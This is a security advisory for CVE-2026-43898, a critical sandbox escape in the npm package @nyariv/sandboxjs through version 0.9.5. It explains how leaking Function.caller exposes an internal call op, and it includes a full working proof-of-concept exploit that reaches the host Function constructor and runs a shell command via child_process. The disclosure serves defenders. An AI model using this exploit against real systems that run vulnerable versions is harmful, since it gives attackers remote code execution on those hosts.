GHSA-g8f2-4f4f-5jqw

Suggest an improvement
Source
https://github.com/advisories/GHSA-g8f2-4f4f-5jqw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-g8f2-4f4f-5jqw/GHSA-g8f2-4f4f-5jqw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-g8f2-4f4f-5jqw
Aliases
  • CVE-2026-43898
Published
2026-05-11T19:40:00Z
Modified
2026-05-13T15:33:48.496344Z
Severity
  • 10.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
SandboxJS has a sandbox escape via Function.caller leakage of internal call op
Details

Summary

Sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.

Details

The vulnerability is in the property access logic registered via addOps in prop.ts. Sandboxed code could access the caller, callee, and arguments properties on functions. In the CommonJS build, this allowed sandboxed code to read Function.caller and leak a privileged internal LispType.Call callback.

In executorUtils.ts createFunction() constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:

function f(){ return f.caller }

That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal LispType.Call op, which is registered in call.ts. The escape was possible because the LispType.Call handler accepts a params object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches call.ts:47, call.ts:70, call.ts:149. This means the attacker controls obj.context, obj.prop, obj.get, context.evals.get and a. This can lead to direct invocation of an internal primitive with forged operands

PoC

const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb(); 

const payload = `
const callOp = (function fn() { return fn.caller; })();

function makeContext(capture = () => {}) {
  return { ctx: { options: 0 }, evals: { get: capture } };
}

function leakStatic(obj, prop) {
  let leaked;
  callOp({
    done() {},
    a() {},
    b: [],
    obj: { context: obj, prop, get() {} },
    context: makeContext((fn) => (leaked = fn, () => 1))
  });
  return leaked;
}

function callDirect(fn, args) {
  let value;
  callOp({
    done(_, result) { value = result; },
    a() {},
    b: args,
    obj: fn,
    context: makeContext()
  });
  return value;
}

callDirect(leakStatic(Object, 'defineProperty'), [
  leakStatic,
  'call',
  callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
    callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
    'constructor'
  ])
]);

let hostFn;
callOp({
  done(_, result) { hostFn = result; },
  a: leakStatic,
  b: [],
  obj: {
    context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
    get() {}
  },
  context: makeContext()
});

return hostFn();
`;

console.log(sand.compile(payload)().run());

Impact

Sandbox escape leads to RCE

Database specific
{
    "github_reviewed_at": "2026-05-11T19:40:00Z",
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-94"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true
}
References

Affected packages

npm / @nyariv/sandboxjs

Package

Name
@nyariv/sandboxjs
View open source insights on deps.dev
Purl
pkg:npm/%40nyariv/sandboxjs

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.9.6

Database specific

last_known_affected_version_range
"<= 0.9.5"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-g8f2-4f4f-5jqw/GHSA-g8f2-4f4f-5jqw.json"